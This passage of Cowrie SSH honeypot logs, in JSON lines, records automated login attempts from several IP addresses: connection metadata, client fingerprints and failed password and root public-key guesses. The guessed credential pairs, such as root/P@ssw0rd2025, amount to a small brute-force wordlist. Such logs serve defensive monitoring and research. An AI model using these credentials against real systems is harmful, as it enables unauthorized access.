ie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:30.597141Z","src_ip":"165.154.5.173","session":"1183b40120a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Password@123","message":"login attempt [postgres/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:31.509153Z","src_ip":"165.154.5.173","session":"1183b40120a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:32.732067Z","src_ip":"165.154.5.173","session":"1183b40120a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45433,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e68997900ac","protocol":"ssh","message":"New connection: 89.144.214.214:45433 (10.17.0.5:22) [session: 0e68997900ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:38.066625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:38.072965Z","src_ip":"89.144.214.214","session":"0e68997900ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:38.212613Z","src_ip":"89.144.214.214","session":"0e68997900ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0123456789","message":"login attempt [root/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:38.774067Z","src_ip":"89.144.214.214","session":"0e68997900ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:39.921264Z","src_ip":"89.144.214.214","session":"0e68997900ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":52166,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4942260df8e","protocol":"ssh","message":"New connection: 46.253.45.10:52166 (10.17.0.5:22) [session: b4942260df8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:52.154262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:52.158867Z","src_ip":"46.253.45.10","session":"b4942260df8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:52.284376Z","src_ip":"46.253.45.10","session":"b4942260df8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2025","message":"login attempt [root/P@ssw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:52.818995Z","src_ip":"46.253.45.10","session":"b4942260df8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:53.946876Z","src_ip":"46.253.45.10","session":"b4942260df8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":47754,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae1391876d6c","protocol":"ssh","message":"New connection: 41.181.156.205:47754 (10.17.0.5:22) [session: ae1391876d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:55.477029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:55.481865Z","src_ip":"41.181.156.205","session":"ae1391876d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:55.734007Z","src_ip":"41.181.156.205","session":"ae1391876d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2023","message":"login attempt [sysadmin/sysadmin2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:56.759131Z","src_ip":"41.181.156.205","session":"ae1391876d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:58.011917Z","src_ip":"41.181.156.205","session":"ae1391876d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":40202,"dst_ip":"10.17.0.5","dst_port":22,"session":"f05ea330b718","protocol":"ssh","message":"New connection: 43.156.170.155:40202 (10.17.0.5:22) [session: f05ea330b718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:59.161951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:59.167192Z","src_ip":"43.156.170.155","session":"f05ea330b718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:20:59.412566Z","src_ip":"43.156.170.155","session":"f05ea330b718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:00.428018Z","src_ip":"43.156.170.155","session":"f05ea330b718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:01.679539Z","src_ip":"43.156.170.155","session":"f05ea330b718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.255.204.163","src_port":39842,"dst_ip":"10.17.0.5","dst_port":22,"session":"71dc90c4f0fd","protocol":"ssh","message":"New connection: 51.255.204.163:39842 (10.17.0.5:22) [session: 71dc90c4f0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.037264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.045196Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.131675Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:18:73:39:59:cc:55:7e:0f:96:ce:b8:a4:c9:48:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcKGbZ9iQHn6C/mW1hUemqyncNUxgWIvblG2ce71rdRVwRPkiknCD4v2mYLsWTTF9YtzFYSFUAZYVug+RaviVYzqkkbEBWMX+U23nwf5sLtmyGdFeClx/eYyEFe4QhATuOkD+xBXX9bEgcgoARCCQFw6Q/v5RnrlIHOy/IttXPnEVVxkS3jmCdpuTYDjaRztRbN+cC1nHi8sMQKFHp5xDiXfqzn08+nzfTyklFdfl66jdXYQHwSGYgv3YCTvWChjZrF1e1MWYU+GGeORPA6uVUskVgrYlTZX3ZyuNmO5G5r2Od5LVx3KDAW9JtjCLlpmetEZj7fK0CKVGUsfp9V/MO8FM9YH3YhXjAHLcdAYlkHRJFBYQmYHPq0w3BBA2jcjvXdD+Ixdmzv2ND2g5Dl4YXhSbiwqMEE6tQXh8YjVgA4al7jryUTMHaLBUko9mprHurnnA8FYTlYX+aJjEz9ZCmJqvpHNJ0wrvuzvOj54mhH43AsCwul+Ppdq8CveG1xiU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:18:73:39:59:cc:55:7e:0f:96:ce:b8:a4:c9:48:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.511591Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:18:73:39:59:cc:55:7e:0f:96:ce:b8:a4:c9:48:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcKGbZ9iQHn6C/mW1hUemqyncNUxgWIvblG2ce71rdRVwRPkiknCD4v2mYLsWTTF9YtzFYSFUAZYVug+RaviVYzqkkbEBWMX+U23nwf5sLtmyGdFeClx/eYyEFe4QhATuOkD+xBXX9bEgcgoARCCQFw6Q/v5RnrlIHOy/IttXPnEVVxkS3jmCdpuTYDjaRztRbN+cC1nHi8sMQKFHp5xDiXfqzn08+nzfTyklFdfl66jdXYQHwSGYgv3YCTvWChjZrF1e1MWYU+GGeORPA6uVUskVgrYlTZX3ZyuNmO5G5r2Od5LVx3KDAW9JtjCLlpmetEZj7fK0CKVGUsfp9V/MO8FM9YH3YhXjAHLcdAYlkHRJFBYQmYHPq0w3BBA2jcjvXdD+Ixdmzv2ND2g5Dl4YXhSbiwqMEE6tQXh8YjVgA4al7jryUTMHaLBUko9mprHurnnA8FYTlYX+aJjEz9ZCmJqvpHNJ0wrvuzvOj54mhH43AsCwul+Ppdq8CveG1xiU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.515468Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:e9:b8:39:98:ee:f2:30:97:cb:ef:9e:96:ea:83:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc/n50HS+DgjCQiABvI3ptsgqGFCAC4HoUBd3bpkC5FsrbPL96wj2iCzr2NvdxZY2qRRMfcNN8zYflneU6jqSy9pUd9l9l7mfh5PBOuOhkK9XQeggEx4lPkp9jXMmL+FWu+muB9d4SyVXLcAYSayDhuH0aKRTJPAuPsGhzqlVA1tHd1vHD012wL6/zn8dHmTSE9Dl10K6C3PjkQxeGkW7VuQWQYsRZcsHHairsybftPK3MrGVe/FIjkzvQs9fR1oaB3cyIlREaRSasT7mU5w/DtF/jL3aygLo+4bmVu63XjRzTERUYJWqMfc5pEp8g3IaWV+Fsf0apNxQjzai8L5TX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:e9:b8:39:98:ee:f2:30:97:cb:ef:9e:96:ea:83:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.596324Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:e9:b8:39:98:ee:f2:30:97:cb:ef:9e:96:ea:83:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc/n50HS+DgjCQiABvI3ptsgqGFCAC4HoUBd3bpkC5FsrbPL96wj2iCzr2NvdxZY2qRRMfcNN8zYflneU6jqSy9pUd9l9l7mfh5PBOuOhkK9XQeggEx4lPkp9jXMmL+FWu+muB9d4SyVXLcAYSayDhuH0aKRTJPAuPsGhzqlVA1tHd1vHD012wL6/zn8dHmTSE9Dl10K6C3PjkQxeGkW7VuQWQYsRZcsHHairsybftPK3MrGVe/FIjkzvQs9fR1oaB3cyIlREaRSasT7mU5w/DtF/jL3aygLo+4bmVu63XjRzTERUYJWqMfc5pEp8g3IaWV+Fsf0apNxQjzai8L5TX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.600288Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:9a:8f:22:77:75:fb:82:fd:1d:91:bd:d7:ad:38:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSQb9QBbvcuLkx2ebgjVagVjb0U14faZ1WzrRUl8tnTMW5WLkcIxnWQ7E5JNxlGGrUdz+OVk8clAOH6/cBVOzaz0azKZ0MoshksIrTWiLZp7/d8PWZf25yFn+NusG/Qca0E7+dS12fWcQ/CLsuO0santVuqopXIIVOfcqngPlESD0G/pSHxT+muvaHB+JZqlljslkoZi9MS4Hm2KrTpQr2LzDpnuyA3bnxPsE+XN01VTVHOQmdSMZXqxlbdRq9ah98mgLB4Mo+qCypjxwOTAvIf9ihAWQPktvPQihIRkUJRpxS3+GdLkOJSWJ77ry9nix84Y0IrQDkXV/YA4Zl6uIX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:9a:8f:22:77:75:fb:82:fd:1d:91:bd:d7:ad:38:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.681358Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:9a:8f:22:77:75:fb:82:fd:1d:91:bd:d7:ad:38:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSQb9QBbvcuLkx2ebgjVagVjb0U14faZ1WzrRUl8tnTMW5WLkcIxnWQ7E5JNxlGGrUdz+OVk8clAOH6/cBVOzaz0azKZ0MoshksIrTWiLZp7/d8PWZf25yFn+NusG/Qca0E7+dS12fWcQ/CLsuO0santVuqopXIIVOfcqngPlESD0G/pSHxT+muvaHB+JZqlljslkoZi9MS4Hm2KrTpQr2LzDpnuyA3bnxPsE+XN01VTVHOQmdSMZXqxlbdRq9ah98mgLB4Mo+qCypjxwOTAvIf9ihAWQPktvPQihIRkUJRpxS3+GdLkOJSWJ77ry9nix84Y0IrQDkXV/YA4Zl6uIX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.684983Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:65:99:6b:a2:db:9e:c7:f5:06:95:7b:12:f2:da:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdeBLCdg/s5UT6DmlxADDkKV2zPqHgqDa37JzIUg5AcGg5cHJIX4ecq/ms3ojZUvnPciSyqEcMudie+c7USCw48NIiHm/4ucxjT5CF6v7KktNfC44TEHD1TS8w+wGxpEE1/jINExdCXQGPimwbrRj8vnZjnOj2K7HhEeVlyGzgp1XArlcG/3hwltWtvJBxXrRQFOxuAlCO4yU2kI9SmMPlxIi08G2/LuaT3RdrmBAkSDbH1b6kqPOhp09YIfyYX1MxS/5k75qttq5V6bczPlcX2o9RDwKeruCKM+Nmjj0XLxEr1THMmGehc/DnRnG7ZHQe0Xujg4HcSWP/4cQ62z1K33y4Tcn71rEAul8pvgDHap1II/qLDcigKVUDoUKzONkBmwAg+bh5nPDiJCNJ8eyVuC//LKmwMeYg9ZUi9KutIpSpihD13RcjCLYhTXJuz6PdcxwvenhInscTQBiUJZH6rAZES5mQJNOQRLA/9hP4CRKlLtxHvOZqYj6iw0Ia0Zc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:65:99:6b:a2:db:9e:c7:f5:06:95:7b:12:f2:da:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.766191Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:65:99:6b:a2:db:9e:c7:f5:06:95:7b:12:f2:da:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdeBLCdg/s5UT6DmlxADDkKV2zPqHgqDa37JzIUg5AcGg5cHJIX4ecq/ms3ojZUvnPciSyqEcMudie+c7USCw48NIiHm/4ucxjT5CF6v7KktNfC44TEHD1TS8w+wGxpEE1/jINExdCXQGPimwbrRj8vnZjnOj2K7HhEeVlyGzgp1XArlcG/3hwltWtvJBxXrRQFOxuAlCO4yU2kI9SmMPlxIi08G2/LuaT3RdrmBAkSDbH1b6kqPOhp09YIfyYX1MxS/5k75qttq5V6bczPlcX2o9RDwKeruCKM+Nmjj0XLxEr1THMmGehc/DnRnG7ZHQe0Xujg4HcSWP/4cQ62z1K33y4Tcn71rEAul8pvgDHap1II/qLDcigKVUDoUKzONkBmwAg+bh5nPDiJCNJ8eyVuC//LKmwMeYg9ZUi9KutIpSpihD13RcjCLYhTXJuz6PdcxwvenhInscTQBiUJZH6rAZES5mQJNOQRLA/9hP4CRKlLtxHvOZqYj6iw0Ia0Zc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:21:03.770041Z","src_ip":"51.255.204.163","session":"71dc90c4f0fd","protocol":"ssh"}
